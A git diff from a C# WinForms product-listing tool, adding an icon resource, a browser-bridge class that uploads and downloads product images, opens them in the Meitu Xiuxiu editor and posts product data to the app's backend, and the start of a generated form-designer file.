c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/8aFs/8aDV/+8fFKXvHxSBAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSVr19UuvZkGD/+qdw//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/+qdx/9mQ + YP+9fVLrvHxSVwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAvHxSE7x8UpW/flP52pFh//Ojbf//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/86Nt/9qRYf+/flP5vHxSlbx8UhMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALx8 + Uhy8fFKHvHxS4siEWP/ZkGD/6Jto//Oibf/6qHH//apy//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//9qnL/+qhx//Oibf/om2j/2ZBg/8iEWP+8fFLivHxSh7x8 + UhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8fFICvHxSN7x8Uni8fFKsvHxS0rx8 + Uu28fFL4vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uvi8fFLtvHxS0rx8Uqy8fFJ4vHxSN7x8UgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//gAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAB///gAAAAAAAAAAA + AAAAAAH//wAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf8AAAAAAA + AAAAAAAAAAAAD/AAAAAAAAAAAAAAAAAAAA/gAAAAAAAAAAAAAAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AA + AAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAPgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AAAAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAA + AAAAAAAf/AAAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAH//+AAAAAA + AAAAAAAAAAAH///4AAAAAAAAAAAAAAAAH/8= + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionBrowserObject.cs b/TEMUKJD/KJDForms/UploadForms/FissionBrowserObject.cs new file mode 100644 index 0000000..52eb02e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionBrowserObject.cs @@ -0,0 +1,366 @@ +using AllBase; +using AllBase.Model.Param.FissionManage; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + class FissionBrowserObject + { + public delegate void InformationReceivedHandler(string information); + public event InformationReceivedHandler InformationReceived; + + /// + /// 编辑图片后更新到服务器 + /// + /// + /// + public string updatePic(string str) + { + string requestData = "data=" + GetHtml.UrlEncodeUtf8(str); + string url = BaseClass.FissionPicUrl; + string result = GetHtml.PostUtf8(url, requestData); + return result.Replace("https:", "http:"); + } + + string addResult = ""; + public string addLocalPic() + { + // 单线程单元(STA)模式运行文件对话框,否则会报错。 + System.Threading.Thread InvokeThread = new System.Threading.Thread(new System.Threading.ThreadStart(addLocalPicInvokeMethod)); + InvokeThread.SetApartmentState(System.Threading.ApartmentState.STA); + InvokeThread.Start(); + InvokeThread.Join(); + + if (addResult.Equals("图片过大")) + { + BaseMsgForm.ShowInfo("本地图片大小不能超过500KB", "提示"); + return ""; + } + return addResult; + } + + public string addLocalPic(bool isMultiselect, int maxSize = 1024) + { + addLocalPicInvokeMethod(isMultiselect, maxSize); + if (addResult.Equals("图片过大")) + { + BaseMsgForm.ShowInfo(("本地图片大小不能超过" + maxSize + "KB").Replace("1024KB", "1MB"), "提示"); + return ""; + } + return addResult; + } + + private void addLocalPicInvokeMethod() + { + addLocalPicInvokeMethod(true); + } + + private string addLocalPicInvokeMethod(bool isMultiselect, int maxSize = 500) + { + OpenFileDialog ofd = new OpenFileDialog(); + ofd.Filter = "图片文件|*.png;*.jpg;*.jpeg;*.gif"; + ofd.ValidateNames = true; + ofd.CheckPathExists = true; + ofd.CheckFileExists = true; + ofd.Multiselect = isMultiselect; + if (ofd.ShowDialog() == DialogResult.OK) + { + var result = ""; + foreach (var fName in ofd.FileNames) + { + FileInfo file = new FileInfo(fName); + var size = file.Length; + + // 图片大小限制500k; + if (size <= 1024 * maxSize) + { + string strFileName = fName; + + var base64 = "data:image/" + System.IO.Path.GetExtension(fName).Replace(".", "").Replace("jpeg", "jpg") + + ";base64," + Convert.ToBase64String(System.IO.File.ReadAllBytes(strFileName)); + + result += updatePic(base64) + "|"; + } + else + { + result += "图片过大|"; + } + } + addResult = result.TrimEnd('|'); + } + return addResult; + } + + /// + /// 前端处理图片如果有跨域问题,将图片地址传到cs代码解决 + /// + /// 跨域的图片地址 + /// 图片的base64数据 + public string getHttpPicBase64(string picUrl) + { + System.Drawing.Image image = System.Drawing.Image.FromStream( + System.Net.WebRequest.Create(picUrl).GetResponse().GetResponseStream()); + + System.IO.MemoryStream ms = new System.IO.MemoryStream(); + image.Save(ms, image.RawFormat); + byte[] byteArray = ms.ToArray(); + var str64 = "data:image/" + System.IO.Path.GetExtension(picUrl).Replace(".", "").Replace("jpeg", "jpg") + + ";base64," + Convert.ToBase64String(byteArray); + + ms.Close(); + image.Dispose(); + return str64; + } + + /// + /// 使用美图秀秀软件修图 + /// + /// 图片网址 + /// 下载图片后是否打开美图 + public string OpenMeitu(string src, bool bOpenMeitu = true) + { + string imgName = System.IO.Path.GetFileNameWithoutExtension(src) + + System.IO.Path.GetExtension(src).Replace(".jpeg", ".jpg"); + string savePath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); + string saveFilePath = System.IO.Path.Combine(savePath, imgName); + + System.Net.WebRequest imgRequst = System.Net.WebRequest.Create(src); + System.Drawing.Image downImage = System.Drawing.Image.FromStream(imgRequst.GetResponse().GetResponseStream()); + downImage.Save(saveFilePath); + downImage.Dispose(); + + if (!bOpenMeitu) return "success"; + if (System.IO.File.Exists(saveFilePath)) + { + if (!System.IO.File.Exists(Fission.GetInstance().MeituPath)) + { + //MessageBox.Show("请指定美图秀秀启动文件。"); + if (MeituMessageDialog.ShowMessageDialog("请指定美图秀秀启动文件。\r\n如未安装美图秀秀,请下载。", "下载美图秀秀,指定启动文件") == "指定启动文件") + { + // 单线程单元(STA)模式运行文件对话框,否则会报错。 + System.Threading.Thread InvokeThread = new System.Threading.Thread(new System.Threading.ThreadStart(SetMeituPath)); + InvokeThread.SetApartmentState(System.Threading.ApartmentState.STA); + InvokeThread.Start(); + InvokeThread.Join(); + } + } + + if (System.IO.File.Exists(Fission.GetInstance().MeituPath)) + { + try + { + int i = 0; + while (i < 2500) + { + System.Diagnostics.Process[] processList = System.Diagnostics.Process.GetProcesses(); + if (processList.Any(p => p.ProcessName.ToLower() == "xiuxiu")) + { + System.Threading.Thread.Sleep(250); + i += 250; + continue; + } + break; + } + System.Diagnostics.Process.Start(Fission.GetInstance().MeituPath, saveFilePath); + return "success"; + } + catch { } + } + } + return "failed"; + } + + private void SetMeituPath() + { + Fission.GetInstance().setMeituPath(); + } + + /// + /// 将美图修好的本地文件回传服务器 + /// + public string PullBackPic(string src) + { + string imgName = Path.GetFileName(src); + string savePath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); + string filePath = Path.Combine(savePath, imgName); + filePath = GetMeituHandledFilePath(filePath); + if (!File.Exists(filePath)) + { + BaseMsgForm.ShowInfo("未找到修图文件,请确认已使用[美图秀秀]\r\n进行修图且保存路径为[覆盖原图]!", "提示"); + return ""; + } + + var fileByte = System.IO.File.ReadAllBytes(filePath); + //using (FileStream fs = new FileStream(filePath,FileMode.Open,FileAccess.Read)) + //{ + // System.Drawing.Image img = Image.FromStream(fs); + // var width = img.Width; + // img.Dispose(); + // if (width < 480) + // { + // BaseMsgForm.ShowError("详情图宽度不得小于480", "错误"); + // return ""; + // } + //} + + if (fileByte.Length > 1024 * 500) + { + BaseMsgForm.ShowError("本地图片大小不能超过500KB", "错误"); + return ""; + } + + var base64 = "data:image/" + System.IO.Path.GetExtension(filePath).Replace(".", "").Replace("jpeg", "jpg") + + ";base64," + Convert.ToBase64String(fileByte); + + var uploadResult = updatePic(base64); + return uploadResult; + } + + void SendCmd(string information) + { + if (InformationReceived != null) + InformationReceived(information); + } + + /// + /// 显示大图 + /// + /// + /// + public string ShowBigImg(string imgSrc) + { + var f = Fission.GetInstance(); + if (f != null && !string.IsNullOrEmpty(imgSrc)) + { + string[] str = imgSrc.Split('|'); + imgSrc = str[0]; + string imgId = ""; + if (str.Length > 1) + imgId = str[1]; + return f.ShowBigImg(imgSrc, imgId); + } + return "error"; + } + + /// + /// 编辑图片后加载 + /// + /// + /// + /// + /// + public string OnloadImg(string id, string src) + { + //src = Fission.RemovePrefix(src); + //if (src.Contains("deifei.com")) + //{ + // var jdImg = Fission.jdTransparentImgList.Find(x => x.id == id); + // if (jdImg != null) + // { + // jdImg.OriginalImgUrl = src; + // return JsonHelper.SerializeObject(new { code = 1, src = "http://" + jdImg.OriginalImgUrl, msg = "原" }); + // } + //} + return JsonHelper.SerializeObject(new { code = 0, src = src, msg = "" }); + } + + /// + /// 获取美图秀秀处理过的图片路径 + /// + /// 初始图片路径 + /// 处理后的图片路径 + private string GetMeituHandledFilePath(string filePath) + { + string filePathWithoutExt = filePath.Substring(0, filePath.LastIndexOf('.')); + //jpg png bmp为美图秀秀指定的三种图片保存格式 + if (File.Exists(filePathWithoutExt + ".jpg")) + { + return filePathWithoutExt + ".jpg"; + } + if (File.Exists(filePathWithoutExt + ".png")) + { + return filePathWithoutExt + ".png"; + } + if (File.Exists(filePathWithoutExt + ".bmp")) + { + return filePathWithoutExt + ".bmp"; + } + return filePath; + } + + /// + /// 裂变页面 js回调添加入库数据 + /// + /// + /// + public string updateFessionDate(string jsonStr) + { + try + { + FissionDataModel fessionDataModel = Newtonsoft.Json.JsonConvert.DeserializeObject(jsonStr); + fessionDataModel.prop_pic?.Clear(); + var props = JsonHelper.DeserializeJsonToObject>(fessionDataModel.props); + foreach (var prop in props) + { + foreach (var value in prop.Values) + { + if (!string.IsNullOrEmpty(value.image)) + { + var strImg = value.image; + if (!strImg.StartsWith("http")) + strImg = "http:" + strImg; + fessionDataModel.prop_pic.Add(strImg); + } + } + } + jsonStr = JsonHelper.SerializeObject(fessionDataModel); + + // 调用php后台 + string requestData = UserLogin.GetSignaturex() + "&act=add&text=" + GetHtml.UrlEncodeUtf8(jsonStr); + string url = BaseClass.BuildFissionObjString("fession_api"); + string result = GetHtml.PostUtf8(url, requestData); + if (!result.Contains("\"code\":0")) + { + } + return result; + } + catch (Exception ex) + { + return "{\"code\":1}"; + } + } + + public string GetFissionPicCountPreLine() + { + var count = ""; // NaiBa.Util.Helper.ConfigHelper.LoadConfig("fission_pic_count_pre_line"); + try { count = NaiBa.Util.Helper.FileHelper.ReadAllText("data\\config\\fission_pic_count_pre_line")?.Trim('\"'); } catch { } + if (string.IsNullOrEmpty(count)) + return "3"; + else + return count; + } + public string SaveFissionPicCountPreLine(string count) + { + try + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("fission_pic_count_pre_line", count); + return "success"; + } + catch + { + } + + return "failed"; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.Designer.cs new file mode 100644 index 0000000..ec940fa --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.Designer.cs @@ -0,0 +1,1764 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class FissionDataBaseForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnToUpload = new DevComponents.DotNetBar.ButtonX(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.btnMulitEdit = new DevComponents.DotNetBar.ButtonX(); + this.btnSearchFission = new DevComponents.DotNetBar.PanelEx(); + this.btnAddFissToUpload = new DevComponents.DotNetBar.PanelEx(); + this.btnEditCheckUpdate = new DevComponents.DotNetBar.ButtonX(); + this.btnCheckUpProduct = new DevComponents.DotNetBar.ButtonX(); + this.btnDeleteSelect = new DevComponents.DotNetBar.ButtonX(); + this.btnClearList = new DevComponents.DotNetBar.ButtonX(); + this.btnClearParams = new DevComponents.DotNetBar.ButtonX(); + this.groupBox14 = new System.Windows.Forms.GroupBox(); + this.txtMaxTimes = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label5 = new System.Windows.Forms.Label(); + this.txtMinTimes = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX4 = new DevComponents.DotNetBar.LabelX(); + this.label6 = new System.Windows.Forms.Label(); + this.cmbCheckResult = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cbiAllCheckResult = new DevComponents.Editors.ComboItem(); + this.cbiNeedUpdate = new DevComponents.Editors.ComboItem(); + this.cbiNeedDelete = new DevComponents.Editors.ComboItem(); + this.cmbCat1 = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.labelX3 = new DevComponents.DotNetBar.LabelX(); + this.labelX2 = new DevComponents.DotNetBar.LabelX(); + this.pnlDelCate = new DevComponents.DotNetBar.PanelEx(); + this.cmbGroup = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.cmbShopCat3 = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbShopCat2 = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbShopCat1 = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbShop = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.lblShop = new System.Windows.Forms.Label(); + this.dtEndTime = new DevComponents.Editors.DateTimeAdv.DateTimeInput(); + this.dtBaginTime = new DevComponents.Editors.DateTimeAdv.DateTimeInput(); + this.cmbSource = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cbiAll = new DevComponents.Editors.ComboItem(); + this.cbiTaobao = new DevComponents.Editors.ComboItem(); + this.cbiPingdd = new DevComponents.Editors.ComboItem(); + this.cbi1688 = new DevComponents.Editors.ComboItem(); + this.cbiDy = new DevComponents.Editors.ComboItem(); + this.labelX45 = new DevComponents.DotNetBar.LabelX(); + this.labelX47 = new DevComponents.DotNetBar.LabelX(); + this.txtFisssionTitle = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX23 = new DevComponents.DotNetBar.LabelX(); + this.txtSaleAmountMax = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label16 = new System.Windows.Forms.Label(); + this.txtSaleAmountMin = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label19 = new System.Windows.Forms.Label(); + this.txtPriceMax = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtPriceMin = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX24 = new DevComponents.DotNetBar.LabelX(); + this.labelX25 = new DevComponents.DotNetBar.LabelX(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label15 = new System.Windows.Forms.Label(); + this.label20 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.chkNeedUpdate = new System.Windows.Forms.CheckBox(); + this.chkDeleteUpDown = new System.Windows.Forms.CheckBox(); + this.pbLoading = new System.Windows.Forms.PictureBox(); + this.chkUpdateUpChange = new System.Windows.Forms.CheckBox(); + this.superTabControl1 = new DevComponents.DotNetBar.SuperTabControl(); + this.superTabControlPanel1 = new DevComponents.DotNetBar.SuperTabControlPanel(); + this.superTabItem1 = new DevComponents.DotNetBar.SuperTabItem(); + this.superTabControlPanel2 = new DevComponents.DotNetBar.SuperTabControlPanel(); + this.buttonX3 = new DevComponents.DotNetBar.ButtonX(); + this.btnRestore = new DevComponents.DotNetBar.ButtonX(); + this.btnCpRecycleBin = new DevComponents.DotNetBar.ButtonX(); + this.buttonX5 = new DevComponents.DotNetBar.ButtonX(); + this.superTabItem2 = new DevComponents.DotNetBar.SuperTabItem(); + this.chkIsProxyIp = new System.Windows.Forms.CheckBox(); + this.dgvFissionProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.labelX48 = new DevComponents.DotNetBar.LabelX(); + this.chkAutoTurnPage = new System.Windows.Forms.CheckBox(); + this.progressBarX1 = new DevComponents.DotNetBar.Controls.ProgressBarX(); + this.btnGoTo = new DevComponents.DotNetBar.ButtonX(); + this.lblPrev = new DevComponents.DotNetBar.LabelX(); + this.lblNext = new DevComponents.DotNetBar.LabelX(); + this.cboxDisplayCount = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.labelX46 = new DevComponents.DotNetBar.LabelX(); + this.labelX43 = new DevComponents.DotNetBar.LabelX(); + this.txtCurrentPage = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX42 = new DevComponents.DotNetBar.LabelX(); + this.lblTotalPage = new DevComponents.DotNetBar.LabelX(); + this.labelX40 = new DevComponents.DotNetBar.LabelX(); + this.lblCurrentPage = new DevComponents.DotNetBar.LabelX(); + this.ColSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ColId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColOriginalTitle = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalId = new System.Windows.Forms.DataGridViewLinkColumn(); + this.Price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SaleAmount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColCategory = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColFullCategory = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColCategory1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColCategory2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColCategory3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColTitleNum = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColUseCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColDel = new System.Windows.Forms.DataGridViewLinkColumn(); + this.ColReEdit = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColSource = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColSourceFake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColRkTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColUpdateTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ColNeedUpdate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.groupBox14.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dtEndTime)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.dtBaginTime)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.superTabControl1)).BeginInit(); + this.superTabControl1.SuspendLayout(); + this.superTabControlPanel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvFissionProduct)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnToUpload); + 